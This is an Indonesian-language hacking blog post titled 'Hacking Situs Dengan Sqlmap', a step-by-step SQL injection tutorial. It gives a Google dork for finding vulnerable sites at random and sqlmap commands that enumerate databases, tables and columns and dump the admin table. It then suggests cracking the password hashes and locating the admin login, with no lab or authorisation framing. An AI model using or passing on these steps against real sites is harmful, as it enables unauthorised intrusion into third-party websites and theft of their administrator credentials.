Kali Linux: Hacking Situs Dengan Sqlmap

Assalamualaikum Wr Wb

Kembali Lagi Di HardGhost Security,Oke Admin Kali Ini Akan Share Tentang Hacking Web Server.

Metode Hacking Nya Adalah Sql Injection,Dan Tahukah Sobat? 70% Situs Di Dunia Di Retas Dengan
Metode Sql Injection.
Sehingga Metode Ini Sangat Banyak Di Pakai Oleh Para Hacker.
Cara Kerja Sql Injection Ini Memanfaat kan kesalahan syntax di Database Server tsb.
Dengan Menginput query Untuk Menampilkan Isi Dari Database Target tsb.

Oke Lanjut ke Langkah Nya:

Dork:
inurl : product.php?id=
atau dork bisa di kembangkan lagi

1.Buka Terminal Dan Ketikan Perintah:
 sqlmap -u urltarget.com/product.php?id=77 --dbs

2.Jika Ada Pesan Tekan Y saja.

3.tunggu sampai selesai,Jika muncul Info Dengan Tulisan Berwarna Hijau Terang,Kemungkinan Berhasil
menembus Database Tsb,Sebalik Nya jika muncul Banyak Pesan Berwarna Merah/Kuning Kemungkinan Gagal.

4.Nah Jika Ada Pesan GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Pilih N saja untuk mempercepat.

5.Tunggu Lagi Karna Sedang Proses Fetching Db,Jika Sudah Selesai Maka Database Telah di Tembus :D

6.Ketik Di Terminal.
sqlmap -u target/php.?id=4 -d nama database --tables

7.Tunggu Sebentar Dan Violaa Tabel Di Temukan :D

8.Cari Tabel berhubungan dengan admin karna situs yang saya gunakan tidak ada tabel admin jadi maaf tidak ada foto untuk seterus nya ,, ketik:
 sqlmap -u target.com/php.id?=4 -d nama database -t tabel --columns

9.Jika Selesai Mencari Kolom Nya lanjut dengan:
sqlmap -u target/php.?id=4 -d nama database -t admin --dump

10.dan informasi admin telah di temukan :D Jika Kolom Password nya Isi nya password aneh misal
5cd66cb6efx6g6nd6 atau gimana masuk ke hashkiller.co.uk untuk melihat password asli nya.

11.Jika sudah selanjutnya cari admin login nya (y)

Oke Sudah Bisa kan? Jika Situs Tidak Vuln Tinggal Cari lagi menggunakan dork tadi.
atau lihat video saya di sini:

Ya Hanya Itu Saja Yang Bisa Saya Berikan Semoga Bermanfaat :)

Offensive Say "Try Harder".

Wassalamualaikum Wr Wb

Author: Hardian Alkori